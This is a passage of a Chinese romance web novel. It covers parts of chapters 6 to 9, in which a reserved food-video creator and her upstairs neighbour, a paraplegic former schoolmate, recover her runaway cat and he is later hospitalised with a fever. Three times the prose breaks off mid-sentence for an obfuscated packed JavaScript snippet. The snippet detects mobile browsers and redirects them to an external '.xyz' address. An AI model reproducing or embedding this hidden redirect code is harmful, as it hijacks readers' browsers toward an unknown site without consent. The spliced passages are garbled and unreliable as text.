“呃。”他整个人像被打晕了一样,整个人都飘忽忽地,“哈哈,谢谢啊。嘿嘿。” “今天真的谢谢你。又一次找到了抱抱。”许尽欢收回视线。 “举手之劳啦,”他笑,“这事儿得讲缘分的,恰好两次都被我撞个正着。你看我就说吧,我是猫猫教教主。” 她侧头看了他一眼,男孩的眉眼柔和。 纪允川突然低头掏出手机:“哎哟,我得赶紧给我们工作室群发个语音,我本来要开个晚会……现在估计来不及了。” 他说着点开群聊,按住语音键。 “抱歉各位,我现在在医院,临时被一只小猫误伤,正在打疫苗,今晚会议改成明天上午。还有啊,明天你们谁去了工作室记得给咱们发财把指甲剪了哈。” 语音发完他自己先笑了,转头看许尽欢:“你说我会不会痛失教主身份?” “应该会。” “哇,好直接。一点安慰都不给我的吗?” “那不会?” 他偏头无奈地看她一眼,对身边这位的不解风情十分叹服。 十分钟观察期一过,他转动轮椅准备离开。 她先走在前面,推开门时突然听见手机震动了一声。 来电显示:“苏苓”。 她按下接听键:“喂?” “欢姐,你在家吗?你看了今天寄的那个试吃箱没?还有三个品要选......” “我不在家。”她语气平稳,“我在医院。” 对方一顿:“……啊?这都晚上十点了!你出啥事儿了啊?你没事吧?” “我没事。” “那你要不要我过去啊?” “不用了,选品我今晚看好了发给你最后的决定,先这样。”她说完就挂了电话,顺手把手机调成了静音。 纪允川看着她:“你这么晚了还有工作电话?” “我作息是乱的,没有固定的工作时间。”她淡淡回。 “昼夜颠倒?” “嗯。” “你这发量看着不像是作息如此不健康之人啊。” “你的发量也不像程序员。” 他咧嘴一笑:“你是不是从小就毒舌?” “你从小就这么热闹?” “我妈说我三岁就开始背三字经,一边背一边倒着走,张牙舞爪的,一直走到我一屁股摔进家里院子的鱼池里,把我爷爷养的锦鲤砸晕了。” “你活下来也是挺不容易的。” “那是。”他点头,“我从小到大的奇妙经历能写好几本自传了,超精彩的那种。” 她没忍住轻笑了一声。紧绷的神经总算是松懈下来。 7. 第 7 章 打车回小区时已是月上柳梢。 路灯下的街景像一面挂满水珠的镜子,一切景象都被拉得模糊,灯光,行人,雨后的绿化带,全都湿润地闪着亮。 许尽欢先下车,她低头看了一眼,又看向另一边的车门。 “我来。” 纪允川刚拉开门,她已经自然地站在车门外,低头扣住他轮椅侧边的卡扣。 “等下,我自己能——” “你单手不方便。”她语气平静,“别再把医生刚包好的伤口弄出血了。” 他愣了下,安静下来,让她扶着将轮椅拉出后备厢拼装好,再扶他下车。 一套动作配合得比想象中自然,虽然只是第二次,但是几乎没有多余的沟通就顺利完成了。 走到小区门口时,他忽然开口:“我刚刚是不是算占你便宜了啊?” “什么?”许尽欢不太理解对方的脑回路。 “你又带我去医院打针,又帮我搬轮椅,你会不会觉得我有点太麻烦了啊。”纪允川接受了许尽欢的帮助,可骤然意识到他一直在低位仰望并麻烦着许尽欢,这似乎不应该是往爱情的发展方向,语气忽然低落。 许尽欢隐约察觉这种话有点不对,颇有影视剧受伤后自暴自弃的主角固定句式感。 她有些警惕地低头去看身侧转动轮椅的人,发觉那人面色如常地说出如此让她不知作何回答的话,干巴巴地回:“没有,你不麻烦。” “真的吗?”纪允川忽然心情大好,情绪变化跟坐了过山车似的。 许尽欢看着他眼睛又亮了,放心了不少。 这人倒是一哄就好…… “嗯,你帮我找到了我的猫,是我给你添麻烦了。” 许尽欢不太会应付那种一闪一闪的眼神,垂头看着他裹着纱布一下一下转动轮椅圈的胳膊。 他们继续往前走,楼下走廊灯亮着,地砖仍旧有水渍。她停在C栋门口,转头看他。 “你这条胳膊,这两天别碰水了。” “遵命。” “下次抱抱再跑出去,你看到了也不用管。”许尽欢这次是真的动了气,再提起抱抱声调仍不免透露出恼火。 “哦?”纪允川看着许尽欢口是心非的模样似笑非笑地搭腔。 “别管。” 纪允川点点头,慢吞吞地往电梯方向滑去:“听起来……你这是真的生小猫气了?” “很难不生气,本来就胖,要是找不回来当了流浪猫,三天就能被欺负死。”她平静地说。 “哈?它脾气可不小啊。”纪允川把胳膊伸出来在绷着脸的许尽欢面前晃了晃想逗她。 她皱了皱眉,想要伸手把那条胳膊按回去,又觉得不妥:“你胳膊刚打完针,别乱晃。” “好。”他笑了,乖乖闭嘴。 进了电梯,两人站在安静的狭小空间里。她靠墙,他在中间。 空气安静下来,只有电梯机械运转的声音和两个人呼吸的声音。 数字缓慢跳动着,从1到19。 “许尽欢。” “嗯?” “今天谢谢你。” “因为我请你打疫苗?” “你明知道我不是谢这个嘛。” 那语气听上去有点委屈,但是看表情又似乎不怎么在意。许尽欢这下是真摸不着头脑了,她收回视线,盯着电子屏幕上升的数字。 电梯“叮”地一声开了。 许尽欢转身出门,没说话,只是轻轻点了下头。 “晚安。”她的声音一如既往平稳,带着一点清冷。 纪允川靠在轮椅里,看着她的背影在电梯外间的灯下被拉得很长,直到门关上,才微微一笑:“晚安。” 门合上的一瞬间,他转回视线,盯着电梯数字跳动。 “20。” 他抬起左手,熟练地按住车轮,抵达自家门口那一刻,他才发现,右手因为刚刚消毒后贴了纱布,此刻连支撑轮椅方向都开始吃力。左手拨动推圈,角度不够,方向稍微偏了,他几乎是斜着蹭到了门前。 “啧。” 他低声骂了一句,推着轮椅轻轻撞了撞门框,动作一顿,才反应过来自己没法像平时那样迅速开门,无奈地用左手输入了密码。硬生生花了两分多钟才进了家门。 “我回来了。”他说。 崽崽从狗窝探出脑袋,扑过来摇尾巴,在他膝盖上蹭了蹭。 他随手揉了一把狗头,把背上的外套随手一甩,甩在沙发边沿,却因为右手不便,力道不稳,外套滑落地上。 不过他没去捡,径直滑进洗手间,打开灯,扶着台面,一只手解衣服的动作显得笨拙而缓慢。 原本还能靠着两个手臂灵活地完成大多数事,但现在一只手受伤,整个人的日常节奏像是突然卡了壳。 那件T恤从脖子处扒了一半,卡在他右肩上。他试图用左手扯下来,但刚刚勾到右臂内侧的那块布,轻轻一带,就扯到了伤口。 “嘶——” 他倒吸一口凉气,额角冒出细汗。 “抱抱你这小胖崽子。”他低声骂着,咬了咬牙,干脆用牙咬住领口,借助下颌和左手的力气一起扒掉上衣。 衣服落地时,他整个人靠在洗手台上喘了几秒。 盯着镜子里自己胸口上的水渍和汗,他苦笑了一下。 休息片刻,开始准备导尿。 每四小时一次,早就是习惯流程。只是这次右手没法稳准地拿住导尿管,左手要撑住身体,平衡感瞬间全失。 他试了两次,才对准位置。等热流顺着塑料管缓缓流进马桶,他才像泄了气的皮球一样塌下紧绷的肩膀,叹了口气。 整段腰僵着,钢钉那块脊椎像被灌了铅,疼得像有人用打火机烧他的后背。他闭了闭眼,默默忍受,等待这股神经痛过去。 崽崽站在门外,狗头趴在门缝边,时不时哼唧两声。 “别瞎凑热闹。”他声音不大,语气软和。 十几分钟后,纪允川坐在床边,右手还缠着纱布,换了身宽松的家居T恤。胸口还微微起伏,像是刚从什么战场回来。 他望着纱布边沿露出的一小撮猫毛,盯了很久,忽然低头笑了。 笑着笑着,就又叹了口气。 他拿起手机,点开微信,。尽欢的头像是抱抱的照片。第一次到他还以为是网上的网红小猫,脸又圆又可爱,后来翻来覆去看了好多遍才发现小猫脖子上挂着许尽欢第一次见面扒着小猫脖子看的纯金长命锁。 对话框还是只有五天前许尽欢做多了咖喱饭,自己回去发的消息和把衣服穿正了之后为衣服正名的照片,和一个表情包。 他打下一行字:【我到家啦】 盯了三秒,删了。 他又打:【今晚谢谢你啦】 又删了。 他头发还没擦干,被自己蹭得有点炸毛。他用手指把额前那撮毛压下去,手指刚碰到头皮就觉得一阵湿凉。 他又打:【你别生气啦,我啥事儿都没有。】 最后还是删了。 他烦躁地放下手机,倒在床上,崽崽跳上床,脑袋枕在他腰上。 “你说,我这算不算出师未捷身先死啊。” 崽崽摇尾巴。 他盯着天花板,轻轻吐出一句:“但没办法啊,好喜欢啊。” 许尽欢其实在进门前回头看了一眼,纪允川还在电梯里,那表情像是还想说点什么。 不过她没有再等,转身开门。 屋里没开灯。只有巨幕电视还在播放着电视剧。鞋柜下的感应灯亮起的一瞬间,客厅里毛茸茸的一团正歪着脑袋趴在落地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535065|186510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窗前,尾巴有一下没一下地晃着。 灯光打在抱抱的毛上,晃出奶茶色的一圈光晕。 许尽欢慢慢脱下风衣,包挂在门后。鞋没脱,她站在玄关原地,盯着那团猫看了两秒。 猫也歪着头看她。 眼神里带着一丝理直气壮,和一点点装傻。 “你再跑一个试试。”许尽欢语气很轻,但有一点明显的咬牙切齿。 猫没有回答,只是慢慢爬起来,脚步僵硬地像踩在棉花上,一边走还一边扭头看她,一副“我不是故意的”样子。 她没动。 猫绕了一圈,小心翼翼地蹭到她脚边,尾巴缠着她小腿来回绕。许尽欢垂眼看着它那根尾巴,面无表情地开口: “我现在很想炖了你。” “喵。” “你知道你干了什么吗?” “喵。” “你知道你把人抓伤了吗?” “喵。” “喵。”猫后退半步,躲进沙发角落里。 “你知道个屁。”许尽欢冷冷地丢下一句。 她换掉鞋子大步走过去,直接一把把抱抱从角落拎出来,像拎着袋面粉,面无表情地把它放进猫窝,拿猫爪按住窝边,动作极轻,语气却极狠: “不准乱跑。不准乱跑。不准乱跑。” 每说一个“不准”,就戳一下猫脑袋。 猫头上的毛都被她戳出三个窝,整张脸陷在窝边,只露出两个委屈兮兮的大眼睛,认命的把自己蜷起来。 “今天没有罐头。” “喵。” “不是你撒娇我就能改主意的。” “喵。” “别演了,演技太差。” 猫委屈地趴着,后腿缩在一块,肚子挤得像个发面馒头。 许尽欢站在原地,盯着猫看了几秒,最终还是妥协地叹了口气。 “你是不是根本不知道自己有多麻烦。”她低声说,走到厨房,拎出一包冻干。 她站在灶台边上,打开冻干袋子,又开了个小号罐头全部倒进小碗里,加了水搅拌均匀。 抱抱从窝里跳下来,一步三探地走到她脚边,小心翼翼地蹭她小腿。 她看着它,又想起刚刚在喷泉边,那条裹着纪允川猫毛的外套,和他胳膊上那几道触目惊心的红。 泡好的冻干倒进猫碗里,先把它端进客厅,一边走一边淡淡道: “吓坏了吗?” 抱抱直勾勾地盯着许尽欢手里的碗,她叹了口气:“下不为例。” 抱抱“喵”了一声,飞奔过去低头开吃,吃得小胡子上都是汤。 她站在不远处盯着它,喉咙发紧,后知后觉的恐惧席卷了整个身体,浑身泛着凉意,一句话卡在舌根没说出口。 她想说对不起,是我没仔细关好门。 但她终究没说出来。 不给抱抱说,她也不知道该跟谁说这句话。 但她确实自责不已。 纪允川说的没错,她真的会害怕。 许尽欢烦躁地回到卧室洗了个澡,出来时猫还在啃冻干。她披着浴巾,头发还在滴水,顺手打开吹风机,坐在窗边的蘑菇形状的矮凳上慢慢吹头发。 客厅电视没关,《武林外传》又播到那几集佟掌柜和吕秀才吵架。 “小米是撑死的。” “齁死的。” ······ 她把头发吹到七分干,走回客厅猫吃完饭已经躺进窝里,肚皮鼓着,眼睛半眯。 许尽欢蹲下来看着它,带着失而复得的庆幸,把它抱进怀里。目光落在它脖子上那条红绳与长命锁,突然轻声:“你说,我要是就此不管了,会不会有点过分?” “喵。” 她僵硬地扯起嘴角笑了一下,“你也不知道。” 8. 第 8 章 纪允川拖着残躯和刚受伤的手臂小心翼翼地洗完澡时,已经快十一点。 浴室的镜子被蒸汽糊住了一大片,他拿毛巾擦了擦额头,再顺手抹去雾气,镜子里露出自己脸庞的一角。 发梢湿着,肩线明显,手臂肌肉结实漂亮,但轮椅的扶手边垂着那条缠了纱布的右臂,宽肩窄腰的身材禁锢在轮椅里,即使按时复健延缓了肌肉的萎缩,可和健康的肩背比起来依旧看上去很不协调。 他左手撑在洗手台边,缓慢挪动身体从淋浴椅回到轮椅上,屁股刚落下去时,右腿忽然不受控制地开始抽搐发抖。 像高中的不良少年抖腿。 “诶……”他皱着眉低声骂了一句,“你怎么也开始凑热闹了。” 右腿抽搐了两分钟才慢慢安静下来,他低头看着自己的腿,深吸一口气,调整呼吸,然后弯腰捡起因为痉挛掉在地上的衣服。 换完睡衣后,顺手把刚拆下的纱布包好,扔进垃圾桶,重新换了一片干净的敷料贴。因为是右臂,角度尴尬,几次贴歪了,最后干脆借助牙齿咬住胶贴边角才勉强弄好。 弄完后他盯着镜子看了一会儿,回想起许尽欢清冷淡漠却漂亮精致的侧脸,自言自语:“因祸得福啊。” 灯光下,他右手手背上的几根青筋清晰可见,膝盖已经愈合的老旧伤口位置泛着粉红的新肉和棕褐色的干痂,手臂纱布边缘沾了点细软的狗毛,还没拍干净。 出了浴室,纪允川擦着头发左摇右摆地划回卧室。 轮椅压过木地板发出轻响,他一路轻车熟路地躲开门边的茶几角和阳台落地窗前的门槛板,动作缓慢却有节奏。 他坐在阳台边的小木桌旁,把毛巾搭在腿上,摸了摸崽崽脑袋。 狗靠着他大腿趴着,耳朵软软的,任人揉捏。 “崽崽你说,她今天会不会觉得我很麻烦啊?我上下车的姿势她应该看到了吧。” 崽崽没吭声,只是舔了舔他的手指,鼻尖凑到右胳膊嗅了嗅。 “不过她扶我下车了,她还把我胳膊搭在她肩膀上了。还帮我把轮椅拼好,动作超熟练。你知道吗?她今天语气也没前几次遇到的时候那么冷了……”他说着说着,语气又慢下来,眼神飘了几秒。 “不过她回头看我那一下,好像是真的有点生气。你说是因为啥啊,她生气她家猫吗?还是生气我多管闲事啊?” 他一边说一边拉开手机看微信。 对话框还停在最顶端,最后一句话还是他前两天发的那句【衣服正面是这样的】,下方一片空白。 她没给自己发消息。 明天要不要找个借口给她发个微信啊······ 但是据他观察,许尽欢是那种在微信里言简意赅的人,能发标点符号就不会浪费精力用拼音打字。面对面的时候交流还能稍微好点,能和他说的有来有回。 话少,心事重,反应慢。 但她今天陪他去了医院,还嘱咐他让他别碰水。 她今天也生猫的气,说“再跑出去就让它自生自灭”。 这已经是她难得的情绪表达。 纪允川越想越高兴。 “说不定……我真的还挺特别的。”他低声嘀咕,嘴角扬起,笑得跟只得逞的狐狸般狡黠。 崽崽侧头看他,满脸疑惑和不解。看上去比这位主人稳重不少。 他揉了揉狗脑袋:“哎呀,你干什么,别这么看我。” 坐了一会儿,他把手机打开专属相册,翻出前几天在她家吃咖喱饭拍的照片。 桌上的猪排饭,色香味俱全。连盘子都是异形的苹果形状,吃完了咖喱饭才发现是手绘的,盘子画着三只悠然自得的小狗,圆圆的碗边倒影着灯光。 他自从遇到许尽欢之后,就新建了一个相册。第一张是巧姐馄饨飘着虾皮的馄饨。第二张是火锅店的鸳鸯锅。第三张是咖喱饭,第三张是她坐在自己对面吃东西的时候,伸手去拿可乐。不小心入镜的白皙的手指。 那一刻他正好给面前的咖喱猪排饭拍照,看到入镜的手指,心跳漏了一拍。然后做贼心虚地快速熄灭了手机。 她没发现他偷偷拍到了自己的手指,不过就算发现了许尽欢大概也不会怎么在意。 这张照片拍得有点糊,但他舍不得删。 他盯着屏幕看了半天,忽然脑海里闪过一个念头。 如果他没有坐轮椅,如果他手没受伤,会不会那天他们吃完饭,他能帮她取个快递,拿个猫粮、或者……在一起遛崽崽的时候,可以不经意地踩着她的影子,跟在她身后。 他盯着手机屏幕,指尖摩挲着照片边缘,傻乐的表情缓缓收了起来。 原本还轻松欢快的窃喜心情,在深夜里,被某种湿漉漉的难过情绪兜头浇下。 他低头看了眼自己那条裹着纱布的右手臂,再看向自己从肚脐以下毫无知觉的身体。 “我是真的……有点拖人后腿吧。” 他说得极轻,像一声风吹过的叹息。 崽崽“嗷呜”了一声,打了个喷嚏,然后用小狗爪捂住鼻子。 纪允川笑了,拍拍腿示意崽崽到自己腿上来,崽崽乖巧的听指挥,两个前爪搭在纪允川的腿上。他弯腰抱起它,小狗乖乖窝进他怀里。 “你是说我瞎说,嗯?” 狗舔了他一口。 他轻轻用手揉了揉小狗脑袋:“哎呀,我家崽崽真是乖得不要不要的。” 月色从窗外打进来,他坐在阳台边看了很久。 手机屏幕已经息了,许尽欢的对话框在最顶端。 他还是没发消息。 只是靠着椅背,轻声说了一句: “今天真好。” 凌晨两点。 在许尽欢的时区里大概算是下午。 她窝在沙发里,微弱的月光从落地窗打进房间,和电视跳动的光幕融为一体,她睁着眼发呆,也并没有在看已经循环不知道多少遍的电视,不知在想什么。 许尽欢昼夜颠倒很久了,睡眠时间不算短,但是睡眠质量十分一般。准确说,她已经不记得自己上一次真正安稳地睡过没有做梦的一整晚是什么时候了。 客厅电视开着,她手机静音躺在茶几上,亮着的屏幕照着她的侧脸,眼下透出一层淡淡的青色。 她点开微信,点开纪允川的对话框。 没有新消息。 他今天跟自己告别之后没发任何消息,也不知道手臂怎么样了。她回想起看上去有些唬人的伤口,叹了口气。 她有些坐立难安,毕竟她算是半个肇事者。 她盯着那个聊天框看了很久,才意识到自己不对。 这很不对。 现在的情况很微妙,有点奇怪。 她今天的生活比刚拍完视频的厨房还要乱。 从下午起床发现猫跑出去的那一秒开始,一直到现在,脑子都像被什么绳子拽着,拽得她不得不跟着那人转了整整一圈。 发现猫不在家去找猫、接到纪允川的电话、带人去医院打针、帮他装轮椅、回家之后训猫、又躺在床上莫名其妙想着那几句“我是不是太麻烦了”“你还会再做咖喱饭吗”。 她本来以为自己这两年因为生活趋于规律和平静,自己已经成为情绪非常稳定、不会轻易被外界干扰的人。 但她现在,她感觉这位久别重逢的学弟,这位邻居,疑似正在打破她平静的生活和舒适圈。 她翻了个身,手机被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535066|186510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 压在手腕下。拎起角落的烟灰缸,溜达到阳台上,点燃了指尖的万宝路。 许尽欢没正儿八经地谈过恋爱,但也不是傻子。尽管在上学那段很难的时刻,也总是不乏有男生向她递出信号。从小到大她对异性的示好并不陌生,只是她从没有觉得有需要谈恋爱的时刻。 唯一一次算得上恋爱的经历还是在答应对方表白后的第二天就因为对方一日三餐打更似的微信问候中立刻感到无聊和不爽而终止。 一个人的生活对她来说更安定平静,而她一个人也有足够填满空闲时间各种兴趣爱好,故而她也从未觉得一个人有什么不好。 对于这位小自己两岁的学弟……其实不是讨不讨厌的问题。 她的脑子清楚得很,纪允川对她是有情绪的,这点毫无疑问。从他们重逢开始,从金毛扑向小猫的那一刻起,她就已经隐约察觉到了那种不加掩饰的、鲜活的情感。 纪允川似乎不屑于藏着掖着,所有的情绪,几乎全写在脸上。 而她擅长把一切都藏起来。 她不确定该怎么回应他。甚至不知道,应该用怎样的方式回应一个这么热烈的人。而且还是位残疾人。 她自认为自己从来不是一个适合交往的人。 情感平淡,性格内向的人好像就是天然在这个偏爱外向开朗人的世界上难过一点。 在友谊里,没有人想要一个只会被动回应的朋友;在爱情中,也没人喜欢和一堵墙谈恋爱。 但纪允川这种类型她也没接触过。 这个人很热情,但又很有分寸。 不是那种让人头疼的天真,不过旺盛的生命力还是让许尽欢感觉到羡慕。 她靠在阳台的栏杆,深吸一口气,缓慢地吐缭绕的烟圈。 猫窝里传来一声轻轻的呼噜。她扭头看了一眼,玻璃门后,抱抱睡成了一团,四肢蜷着,脑袋压在前腿上,肚皮还随着呼吸一起一伏。 她低声,像是怕吵醒好眠的小猫:“下个月就带你去绝育。” 正在和周公约会的小猫自然没有回应。 她熄灭手中的烟蒂。 看着失而复得的抱抱,脑子里莫名回响起纪允川的声音…… “我觉得你会着急。” 她轻笑,认真地想,如果以后自己想不开了打算生小孩,要是能生个纪允川这么阳光开朗的就好了。 纪允川也没睡。 不是不想睡,是他的腰疼。 他本就因为截瘫有神经痛,天气潮湿的时候更容易发作。今天白天出了汗,又淋了点雨,加上导尿拖时了,晚上疼得更厉害。 像有一根细长的针,从脊柱中段慢慢向下拧着穿过,然后用锉刀一下一下磨着骨头。 他吃过止痛药了,效果不大。 更难受的是,他的手现在也不利索,伤口一碰就疼,连躺着都得把右臂架高点,不然蹭到伤口能疼一激灵。 他用左手拉住床边的栏杆,转了个侧,靠着床头半躺着,眼神盯着床边睡觉的崽崽发呆。 思绪总是绕回今晚她低头帮他拆轮椅的那一瞬。 指尖碰到他手背时,她眼里的认真专注。 他想了很久,才从床头柜上摸出手机。 打开相册,盯着那张许尽欢的手指误入的模糊照片,感觉脊柱上的剧痛都被缓解了不少。 越看越高兴,高中暗恋的学姐多年以后居然成了上下楼的邻居。 还让他赶上了个英雄救美,老天待他不薄啊······ 凌晨三点,北城偶尔有几辆大货车经过高架桥,隆隆地震动着,仿佛城市跳动着的心脏脉搏。 星河湾的C栋两扇窗户里,一窗亮着电视,一窗亮着手机屏。 9. 第 9 章 纪允川在凌晨三点半醒来。 一股寒意从后背猝不及防地卷上来,拽着他从发烫的梦里清醒过来。他看着天花板喘了口气,喉咙干得像刀片刮过,冷汗顺着鬓角滴下来,打湿了枕头。 这次烧得很厉害。 是睽违已久的,熟悉的,高烧来临前特有的眩晕和恶寒,伴随着失去知觉的身体遏制不了的抽搐。 纪允川动了动右手,想去拿床边的水杯。刚刚抬起来一点,手臂上覆盖着超大号创口贴的那片抓痕就传来撕扯似的疼,纱布贴边被汗水泡皱了,被体温加热后的胶黏在皮肤上,牵得他忍不住轻吸一口气。 完蛋,动不了了。 他转头看向床头柜,水杯摆得有点远。他试着往那边滑动身体,但右手根本使不上力,腰部以下依旧一片麻木,只能靠左手慢慢撑着一点一点挪。 拇指刚碰到杯沿,水杯歪了。 “咚——” 杯子砸在木地板上,滚出去老远。 他没力气捡,也没再去够。不用想也知道地板发大水了。 整个人僵在床上,像是被钉死在床上。肩膀起伏剧烈,身体像发泡一样发胀发热,每一寸骨头都在发出细细密密的疼。 纪允川闭着眼,脑子里混乱一片,只知道再这样烧下去恐怕要出事。他咬了咬牙,扯着床边的栏杆,吃力地伸手去床头的柜子上够正在充电的手机。 三分钟后,总算成功拨出了电话。 “……喂?”电话那头的声音还有点困意。 “哥……”纪允川咬着牙,嗓音又哑又飘,“我好像发烧了,很烫。你能不能帮我……安排一下?” “你别动,我马上来。体温多少?” “不知道……体温计在别的房间。” “别动,好好躺着,我打电话给医院安排车。”电话那头传来窸窸窣窣的声音,似乎是在穿衣服。 “好。”纪允川躺在床上,闭了闭眼睛,轻轻应了一声,感觉眼皮都在发烫。 挂断电话后,他撑着左手一点点把自己拖回床中间,努力别让自己从床上滑下去。 在他昏昏沉沉地喘气时,崽崽不知道什么时候醒来了,跳上床,焦急地凑到他脸边,鼻子贴着他发烫的额头不停嗅,尾巴不安地扫着床单。 “没事儿,没事……”他哑着嗓子安慰,“一会儿就有人来接我了……你去睡觉吧。” 可崽崽显然听不懂。 它哼唧了几声,伏在他腰侧,鼻子往他掌心里拱,舔了舔他发凉僵硬的指尖。 不一会儿,急救车停在小区C栋外侧的绿化带旁。医生李至延亲自带了人过来,熟练地输入密码开门,几位随行的医护人员把已经烧晕的人平移到担架床上。 崽崽试图跟上来,被留在门边。 “等你爹回来带你去遛弯,你在家乖一点。”李至延拍了拍崽崽的脑袋,把小狗留在门口。 崽崽坐在门边,眼睛亮亮地看他,像听懂了一样没有动。 救护车门关上那一刻,纪允川睁开眼,似乎是醒了,躺在担架呼出一口气,低声说:“你来的好快······” 李至延一愣:“你说什么?” “我说。”他闭眼,“你来的好快,感觉刚挂电话你就到了。” “毕竟是39度7的定时炸弹给我的电话,怕我来晚了你烧成傻子。”李至延拿着体温枪撇嘴,乜了他一眼。 “你真的,挺没礼貌的。”纪允川烧的嗓子干哑,说话断断续续有气无力,但还是及时抗议。 李至延摇头,扶着他重新躺平,把他送进医院的VIP单人病房。所有流程走得非常快,测温、挂水、抽血,连护工都幸运地临时联系到了上次住院照看过纪允川的熟人,没多时宽敞的病房里忙成一团。 纪允川在病床上眯着眼,听着护士报告体温和白细胞数据。 “感染指数不高,但有炎症反应;手臂上抓伤也有点发炎迹象,建议继续观察。” “还有点脱水,建议做个基础代谢支持。” “烧退之前不要下床,等会会有人过来上尿管。” 李至延站在床头,看着浑身上下没一个地儿全乎的纪允川,语气不算好:“你这是什么时候胳膊上弄了这么大一口子?” 他笑了笑,嗓音发哑:“哥你好爱生气,你这是对病人的态度吗,没有人投诉你吗?” “本来腿就不行,现在胳膊也少一个,你再这么胡闹下去我告诉你爸妈。” “哇,你多大年纪了,还告状?”纪允川气若游丝地抗议。 李至延气笑了:“你这张嘴啊。” 纪允川闭了闭眼,没接话。过了几秒,他忽然问:“我手机呢?” “你就别想玩手机了,先烧退了再说。” “我就看看微信。” “你烧到快四十度了,还惦记着回消息?” “我躺着也没事儿干啊,玩会手机怎么了。” 李至延看了他一眼,叹了口气:“不在我身上,等会让护工去你家收拾东西的时候给你带进来。” 轮椅也没带来,手机也只能等着让人从家里拿过来。纪允川盯着天花板,身体像被一股无形的东西死死摁住。 外面天已经亮了,他睁着眼看天花板上的裂缝发呆,没再睡。 许尽欢下午醒来的时候,窗外又开始飘小雨。 天气预报说今天降温,果然气压一整晚都低得像压着一层棉被。她睡得并不好,半夜醒了三次,脑子里全是琐碎又没意义的画面,像混剪失败的视频片段,切得生硬杂乱。 她懒洋洋地撑坐起来,床边猫窝里,抱抱正在打哈欠,看到她醒了,慢吞吞地扑到她被窝边上,伸出肉垫拍了拍她的手腕。 “饿了?”她低头说了一句,又没来由地叹了口气。 她其实没搞清楚自己为什么烦。 或者说,她其实是知道的,只是暂时不打算去面对。 从昨天带纪允川去医院打针之后,两人没有联络。 她害怕对方出什么事儿,手机都没开免打扰。不过微信也没收到消息,屏幕一片寂静。 按理说,她本不该在意这个。她的社交圈极小,除了助理和商务,还有隔壁市的好友,几乎没什么微信联系的对象。所以即使好几天微信没消息,她也不会觉得奇怪。 但自从偶遇了那位高中的学弟后,微信就有些不一样了。 那人热热闹闹地出现在她的生活里。微信聊天框里不是语音气泡就是表情包,隔三差五还会发个崽崽的照片或是他的外套穿对了的照片。 昨晚被猫抓伤打了疫苗,今天快晚上了微信一条消息也没有,让她后知后觉地察觉了些异样。 她有一点不安。 但总归没有主动联系说不定就是无事发生。 她起床洗漱,给抱抱做好了猫饭,把前两天拍的一期【一人食·干锅菜花】素材导进软件开始剪。 她关掉音频,再从素材堆里翻原片,一边调色,一边给镜头套滤镜,流程早已谙熟于心。 剪着剪着,忍不住点开了微信。 她犹豫了一秒,点进那个只有一个大写字母“J”的对话框,敲了句: 【今天感觉怎么样?】 光标闪了两下,她又加了一句: 【你胳膊还好吧。】 几分钟后,她就收到回复。 纪允川回得很快: 【没事啦~胳膊已经快好了,我在家休息呢,多亏了抱抱,我获得了居家办公的机会。】 【就是天气太闷,想吃巧姐的馄饨了。】 一如既往的语气,光看文字都能想象出的笑脸。 但她还是盯着那句“在家休息”看了几秒。 怎么说呢,她直觉哪里怪怪的。 她想了想,打字:< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535067|186510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 【我正好要出门,你有需要我帮你带的吗?给你带份馄饨?】 她是真的对纪允川感到十分抱歉,如果抱抱能懂事的话,她大概会让它对着纪允川土下座。 对方停了很久,才回: 【不用啦~我家东西超级全,谢谢啦!我胳膊都完全不疼了,医生也说没事。】 【诶我临时有点事儿,就不打扰你啦!你出门注意安全哈,天都快黑了。】 她眉头微不可察地皱了一下。 医生? 如果真的在家办公,为什么会提医生? 她拇指悬在屏幕上,想了很久,最后打了两个字: 【好的】 既然对方不想说,那就证明这不是她需要知道的,她还是少问别人隐私的好。 许尽欢靠在沙发上,把手机丢到一边。 视频还没剪完,她的注意力却已经完全没办法集中。 她随手把音轨静音,又点开浏览器想换个滤镜插件,结果十分钟后才发现自己一个素材都没动。 她把抱抱从沙发上揪下来,小猫被强行打断睡觉,尾巴乱甩,一脸不服。 “倒霉孩子,”她低声说,“你让你主人欠了个大的。” 抱抱“喵”了一声,看上去像在怼她。 她捏了捏眉心,试图清空大脑。 可接下来两天,她依然没从纪允川那收到任何消息。 她也没再发。 主要是没那个习惯,她觉得已经问过一遍了,如果对方还说“没事”,那就是真的不想被打扰。实在是不需要上赶着做什么,搞不好对方就是只想自己好好休息一下。 所以她只当自己脑补过度。 第三天下午,她计划重新拍一组“晚秋食补”主题的系列,打算做一道红枣山药鸡汤。 她列了个小购物清单:山药、党参、红枣、姜片、香葱,还有一只乌鸡。 